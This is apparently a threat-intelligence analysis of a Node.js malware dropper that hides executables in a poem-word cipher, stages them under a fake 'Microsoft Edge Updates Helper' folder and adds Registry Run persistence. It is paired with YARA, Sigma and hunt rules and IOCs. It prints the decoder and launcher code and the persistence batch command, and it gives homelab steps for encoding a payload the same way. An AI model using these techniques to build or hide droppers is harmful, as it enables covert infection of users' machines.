typeanalysisfamilyletsdiskusscomconfidencehighcreated2026-08-22updated2026-08-22scriptnodejsloaderobfuscationevasionpersistencemalware-family
SHA-256: 70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8

letsdiskusscom: 70862e4de4bd — Eleventh confirmed sibling, numbered-suffix poem stego

Executive Summary

Node.js dropper Update_13.js (8.3 MB) encoding four PE payloads and a persistence BAT script inside a 256-word English poem with numbered suffixes (gentle1, hush2, etc.). Decodes at runtime via Array.indexOf → index & 0xFF to reconstruct a signed VS Revo Group EXE plus three signed Microsoft VC++ runtime DLLs, stages them to %ProgramData%\Microsoft Edge Updates Helper DQetZUqpCbsl, adds HKCU\Run persistence via a BAT file, then spawns both the BAT and the EXE. Fully self-contained — no C2, no network. Eleventh confirmed sibling in the [letsdiskusscom](/intel/families/letsdiskusscom.html) cluster; introduces an eleventh distinct msvcp140.dll morph (995,840 B, MSVC 14.27.29016.0, compiled 2020-06-16). ^[file.txt] ^[triage.json]

What It Is

Attribute Value
Filename Update_13.js ^[triage.json]
SHA-256 70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8 ^[triage.json]
Size 8,337,794 bytes ^[file.txt]
File type JavaScript source, ASCII text, with very long lines (63,365), CRLF line terminators ^[file.txt]
OpenCTI labels js, malware-bazaar ^[triage.json]
Family [letsdiskusscom](/intel/families/letsdiskusscom.html) (high confidence, n=11) ^[entities/letsdiskusscom.md]

How It Works

1. Poem-cipher payload encoding

The script defines a 256-word lookup table (the poem vocabulary, extended with numbered suffixes beyond index 92) and five encoded payload strings: exe, dll1, dll2, dll3, bat. ^[strings.txt: lines 8–13]

Decoding function (writePositionsToFile) splits the word list, maps each payload word to its index via Array.indexOf, masks to 0xFF, and writes the resulting byte buffer to disk. ^[strings.txt: line 10]

function writePositionsToFile(listA, listB, outPath) {
  const a = listA.split(' ');
  const b = listB.split(' ');
  const positions = b.map(word => {
    const idx = a.indexOf(word);
    return idx >= 0 ? idx : 0;
  });
  const buffer = Buffer.from(positions.map(p => p & 0xFF));
  fs.writeFileSync(outPath, buffer);
}

^[strings.txt: lines 10–12]

2. Staging directory and filenames

const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper DQetZUqpCbsl`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "DQetZUqpCbsl.bat");
const dll1Path = path.join(folder, "msvcp140.dll");
const dll2Path = path.join(folder, "vcruntime140.dll");
const dll3Path = path.join(folder, "vcruntime140_1.dll");

^[strings.txt: lines 6, 15–20]

3. Execution chain

  • safeMakeDir(folder) — recursive mkdir under %ProgramData% ^[strings.txt: line 22]
  • Writes all five decoded files ^[strings.txt: lines 24–28]
  • Spawns the BAT with the EXE path as argument, then spawns the EXE directly ^[strings.txt: lines 30–31]
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);

^[strings.txt: lines 30–31]

4. Persistence BAT content

Decoded bat payload (440 bytes):

@echo off
if "%~1"=="" (
    echo Usage: %~nx0 "file_path"
    pause
    exit /b 1
)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1

This is the same BAT script observed in all ten prior poem-stego siblings, confirming builder-level reuse. ^[manual decode of bat payload]

Decoded Payload Hashes

File SHA-256 Size Notes
EXE 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f 52,400 RevoSrp.exe, VS Revo Group, PE32+ x64, signed (DigiCert) — invariant across all 11 siblings ^[rabin2-info.txt on decoded exe]
DLL1 (msvcp140) dd6dc081cef3151a7a328594ab033b033f9f74ef571378cb1938d48da0e8cb29 995,840 Eleventh distinct morph; MSVC 14.27.29016.0, compiled 2020-06-16 ^[rabin2-info.txt on decoded dll1]
DLL2 (vcruntime140) ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 101,672 Invariant across all 11 siblings ^[manual hash]
DLL3 (vcruntime140_1) 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 44,328 Invariant across all 11 siblings ^[manual hash]
BAT dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 440 Microsoft Edge Updates Helper HKCU Run persistence — invariant across all 11 siblings ^[manual decode of bat payload]

Build / RE

  • Language: JavaScript (Node.js runtime target) ^[file.txt]
  • Obfuscator: None — the technique is custom poem-word-list-steganography, not a commercial packer ^[strings.txt]
  • Encoding variant: Numbered-suffix (gentle1, hush2, that3 ... fail164). Suffixes start after the first 92 words of the poem, then repeat the full vocabulary with sequential numbers appended. This defeats naive deduplication while preserving indexOf semantics. ^[strings.txt: line 8]
  • Packaging: Raw .js file, likely delivered inside an archive or via social-engineering download
  • Payload reuse: The signed Revo EXE and two vcruntime DLLs are byte-for-byte identical across all 11 siblings. Only msvcp140.dll and the staging-directory suffix (DQetZUqpCbsl here) vary per build. ^[manual hash comparison against cluster]

Deploy / ATT&CK

Technique ID Name Implementation
T1059.007 Command and Scripting Interpreter: JavaScript Node.js require('fs') + require('child_process') ^[strings.txt]
T1027.002 Obfuscated Files or Information: Software Packing poem-word-list-steganography — 256-word natural-language lookup table hides PE payloads ^[strings.txt:8]
T1036.005 Masquerading: Match Legitimate Name or Location Microsoft Edge Updates Helper directory and registry value name ^[strings.txt:6]
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys BAT script calls reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f ^[manual decode of bat payload]
T1543.003 Create or Modify System Process child_process.spawn(..., { shell: true }) to launch staged EXE ^[strings.txt:30–31]

C2 Infrastructure

None observed. The carrier is fully self-contained. All payloads are poem-encoded and embedded; no HTTP, DNS, socket, or IP references exist in the JS. If the Revo EXE phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]

Interesting Tidbits

  • Eleventh distinct msvcp140.dll morph. The operator has now cycled through eleven different builds of the same DLL (sizes 889K–1,175K, timestamps spanning 2016–2025). This is not random — each build is a legitimate Microsoft VC++ runtime redistributable, suggesting the operator is harvesting them from different software installers or Windows images rather than building custom DLLs. ^[manual hash comparison against cluster]
  • Builder template oscillation. Sibling 10 (ae2e9acd, Update_3.js) reintroduced numbered-suffix encoding after three plain-poem siblings (5126076d, ddcb25ee, 2274d74f). This sample (Update_13.js) continues the numbered-suffix template, confirming it is an active parallel pipeline, not a one-off. ^[entities/letsdiskusscom.md]
  • Filename numbering. The carrier name Update_13.js suggests an internal build counter or campaign versioning scheme (prior poem-stego siblings used Update_3.js).
  • Zero anti-analysis in the carrier. No VM checks, no debugger detection, no timing gates. The threat model assumes the victim will execute the JS without inspection — social engineering, not technical evasion, is the primary defense. ^[file.txt]
  • BAT argument validation. The persistence BAT includes a benign-looking Usage: %~nx0 "file_path" help message and if not exist check. If a sandbox detonates the BAT without arguments, it exits cleanly rather than writing the Run key — a minor anti-sandbox touch. ^[manual decode of bat payload]

How To Mess With It (Homelab Replication)

  1. Encode a PE with the poem cipher:
    words = "gentle hush that ... fail164".split()   # 256 words
    with open('payload.exe', 'rb') as f:
        data = f.read()
    encoded = ' '.join(words[b] for b in data)
    
  2. Wrap in Node.js carrier using the writePositionsToFile pattern above.
  3. Run: node carrier.js → check %ProgramData% for the staged files.
  4. Verify: Compare SHA-256 of decoded EXE to 8b94af60... — should match the cluster invariant.

Deployable Signatures

YARA rule

rule LetsDiskussCom_PoemStego_JS
{
    meta:
        description = "Node.js dropper using 256-word poem lookup-table steganography (letsdiskusscom cluster)"
        author = "PacketPursuit"
        date = "2026-08-22"
        hash = "70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8"
    strings:
        $a1 = "const wlist = \"" ascii
        $a2 = "writePositionsToFile" ascii
        $a3 = "Microsoft Edge Updates Helper" ascii
        $a4 = "process.env.PROGRAMDATA" ascii
        $b1 = "gentle hush that wraps the midnight air" ascii
        $b2 = "DQetZUqpCbsl" ascii
    condition:
        filesize > 1MB and
        #a1 >= 1 and $a2 and $a3 and $a4 and
        (#b1 >= 1 or #b2 >= 1)
}

Sigma rule

title: letsdiskusscom Node.js Poem Stego Dropper
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains|all:
            - 'node'
            - 'Update_'
            - '.js'
    selection_writes:
        - Image|endswith: 'node.exe'
        - CommandLine|contains: 'Microsoft Edge Updates Helper'
    condition: selection and selection_writes
falsepositives:
    - Unknown
level: high

Behavioral hunt query (KQL/SPL-style)

index=sysmon OR index=windows
| where (Image="*node.exe" OR ParentImage="*node.exe")
  AND (TargetFilename="*Microsoft Edge Updates Helper*" OR CommandLine="*Microsoft Edge Updates Helper*")
| stats count by Computer, Image, CommandLine, TargetFilename

IOC list

Type Value Context
SHA-256 (JS carrier) 70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8 Update_13.js
SHA-256 (EXE) 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f RevoSrp.exe — invariant across cluster
SHA-256 (msvcp140) dd6dc081cef3151a7a328594ab033b033f9f74ef571378cb1938d48da0e8cb29 Eleventh distinct morph
SHA-256 (vcruntime140) ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 Invariant across cluster
SHA-256 (vcruntime140_1) 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 Invariant across cluster
SHA-256 (BAT) dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 Invariant across cluster
Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper BAT persistence
Directory %ProgramData%\Microsoft Edge Updates Helper * Staging location
File name pattern Update_*.js Carrier naming convention

Behavioral fingerprint

This malware is a Node.js script that: (1) creates a directory under %ProgramData% with a name matching Microsoft Edge Updates Helper <random suffix>; (2) writes five files to that directory — one EXE, three DLLs (msvcp140.dll, vcruntime140.dll, vcruntime140_1.dll), and a .bat file; (3) launches the .bat file with the EXE path as an argument, then immediately launches the EXE directly via spawn(..., { shell: true }). The BAT adds the EXE to HKCU\Run under the value name Microsoft Edge Updates Helper. No network connections are made by the carrier. The EXE is a signed VS Revo Group component (RevoSrp.exe).

Detection Signatures

  • capa: Not applicable — JS source is not a supported binary class. ^[capa.txt]
  • YARA: Custom rule above targets the poem vocabulary, writePositionsToFile, and Microsoft Edge Updates Helper staging directory.
  • Behavioral: Monitor node.exe writing to %ProgramData% and spawning child processes from that directory.

References

  • letsdiskusscom — Entity page for the cluster (n=11)
  • poem-word-list-steganography — Technique page for the 256-word poem encoding
  • natural-language-payload-encoding — Concept page for prose-based payload hiding
  • registry-run-persistence — Procedure page for the BAT-based Run key technique
  • /intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html — First poem-stego sibling
  • /intel/analyses/ae2e9acd01f8461549455df96fdfef3a28e8846839e596d8ea15c2ea8e4198ac.html — Tenth sibling (numbered-suffix template)

Provenance

  • file.txt — File type identification (file utility)
  • triage.json — Triage metadata (hashes, labels, size)
  • strings.txt — Full script text with line numbers
  • dynamic-analysis.md — CAPE skipped (JS source, not a supported binary class)
  • capa.txt — Capability engine rejected input (unsupported format)
  • exiftool.json — MIME type text/plain, 60 lines, 1,195,140 words
  • floss.txt — Not applicable (JS source, not a PE)
  • ssdeep.txt, tlsh.txt — Hash similarity data
  • Manual decode of poem-cipher payloads performed via Python script against the JS source on 2026-08-22.
  • rabin2 -I run against decoded msvcp140.dll on 2026-08-22 (MSVC 14.27.29016.0, compiled 2020-06-16).